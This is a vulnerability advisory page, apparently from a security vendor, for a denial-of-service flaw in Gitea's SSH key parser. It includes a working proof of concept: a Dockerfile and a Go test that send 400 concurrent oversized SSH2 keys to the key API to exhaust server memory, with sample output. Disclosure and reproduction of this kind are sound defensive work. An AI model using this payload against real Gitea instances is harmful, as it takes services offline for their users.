Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

GHSA-4xjf-493q-98p3

GHSA-4xjf-493q-98p3 is a CWE-284 vulnerability in code.gitea.io/gitea. O3 Security confirms whether GHSA-4xjf-493q-98p3 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Gitea SSH Key Parser Denial of Service

Also known asCVE-2026-56657GO-2026-6042
Published
Jul 21, 2026
Updated
Jul 22, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 12, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-4xjf-493q-98p3.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs14th percentile — riskier than 14% of all scored CVEsHighest risk
0.00%0.24%0.49%0.73%0.2%0.2%Sep 26Sep 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐹code.gitea.io/gitea

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline.

Root Cause

An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines — for example, 400,000 lines of 100 characters each (~38 MB total).

The request reaches CreateUserPublicKey with no prior size check:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212

This calls CheckPublicKeyString which immediately calls parseKeyString. Inside parseKeyString, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using keyContent += line:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79

Because Go strings are immutable, each += at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is N*(N+1)/2, making the operation O(N²) in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.

This is only possible because neither the web form field nor the API struct carries a size constraint:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49

PoC

To reproduce, clone gitea and checkout commit 9155a81b9daf1d46b2380aa91271e623ac947c1e. Then create the following files from the gitea root directory:

poc/Dockerfile

FROM golang:1.26-alpine AS builder

RUN apk add --no-cache git build-base

WORKDIR /gitea

# Download deps in a separate layer so rebuilds are fast after source changes.
COPY go.mod go.sum ./
RUN go mod download

# Copy full source (needed for fixtures, config templates, and compilation).
COPY . .

# Compile the integration test binary.
# modernc sqlite (pure Go, no CGO needed) is the default driver.
RUN CGO_ENABLED=0 go test -c \
      -o /integration.test \
      gitea.dev/tests/integration

# ── runtime image ────────────────────────────────────────────────────────────
FROM alpine:3.22

# git is required at runtime: the test framework initialises git repos.
RUN apk add --no-cache git

COPY --from=builder /integration.test /integration.test
# Keep the full source at /gitea so runtime.Caller(0) path resolution works
# and fixtures / config templates are accessible.
COPY --from=builder /gitea /gitea

RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea

WORKDIR /gitea

USER poc

ENTRYPOINT ["/integration.test", \
            "-test.run", "TestDoSSSHKeyParserOOM", \
            "-test.v", \
            "-test.timeout", "600s"]

tests/integration/poc_dos_test.go

package integration

import (
	"fmt"
	"runtime"
	"runtime/debug"
	"strings"
	"sync"
	"sync/atomic"
	"testing"
	"time"

	auth_model "gitea.dev/models/auth"
	api "gitea.dev/modules/structs"
	"gitea.dev/tests"
)

func TestDoSSSHKeyParserOOM(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	// Raise the GC trigger so intermediate strings accumulate faster,
	// matching realistic server behaviour under sustained allocation load.
	debug.SetGCPercent(400)

	// Log in as an ordinary user — no special privileges needed.
	session := loginUser(t, "user1")
	token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)

	const (
		numLines     = 400_000
		charsPerLine = 100
		numWorkers   = 400
	)

	var sb strings.Builder
	sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n")
	sb.WriteString("Comment: dos\n")
	line := strings.Repeat("a", charsPerLine) + "\n"
	for i := 0; i < numLines; i++ {
		sb.WriteString(line)
	}
	sb.WriteString("---- END SSH2 PUBLIC KEY ----\n")
	payload := sb.String()

	peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)
	t.Logf("payload=%.1f MB  workers=%d  peak_theory=%.1f GB",
		float64(len(payload))/(1<<20), numWorkers, peakGB)

	// Each goroutine marshals its own JSON body. The bytes live in req.Body
	// for the entire duration of MakeRequest, so numWorkers concurrent
	// goroutines hold numWorkers × payload_size bytes simultaneously.
	// With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.
	var (
		wg    sync.WaitGroup
		done  atomic.Int64
		ready = make(chan struct{})
		start = time.Now()
	)

	for i := 0; i < numWorkers; i++ {
		wg.Add(1)
		go func(id int) {
			defer func() { done.Add(1); wg.Done() }()
			<-ready

			req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
				Title: fmt.Sprintf("dos-%d", id),
				Key:   payload,
			}).AddTokenAuth(token)

			MakeRequest(t, req, NoExpectedStatus)
		}(i)
	}

	go func() {
		var ms runtime.MemStats
		ticker := time.NewTicker(5 * time.Second)
		defer ticker.Stop()
		for range ticker.C {
			runtime.ReadMemStats(&ms)
			t.Logf("[%4.0fs] done=%d/%d  HeapSys=%.1f GB  HeapAlloc=%.1f GB",
				time.Since(start).Seconds(), done.Load(), numWorkers,
				float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))
		}
	}()

	close(ready)
	wg.Wait()
	t.Logf("all done in %.1fs — container survived, increase numWorkers or numLines",
		time.Since(start).Seconds())
}

When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:

docker build -t gitea-dos-poc -f poc/Dockerfile .
docker run --rm --memory=12g --memory-swap=12g gitea-dos-poc

Which prints out:

=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)
    testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta
    testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)
    testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)
    poc_dos_test.go:62: payload=38.5 MB  workers=400  peak_theory=29.8 GB

... demonstrating high memory consumption. On my end, memory is consumed within 1 second.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.gitea.io/giteaall versions1.27.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4xjf-493q-98p3 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-4xjf-493q-98p3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-4xjf-493q-98p3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline. ### Root Cause An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a maliciou
O3 Security · Impact-Aware SCA

Is GHSA-4xjf-493q-98p3 in your dependencies?

O3 detects GHSA-4xjf-493q-98p3 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-4xjf-493q-98p3: gitea DoS | O3 Security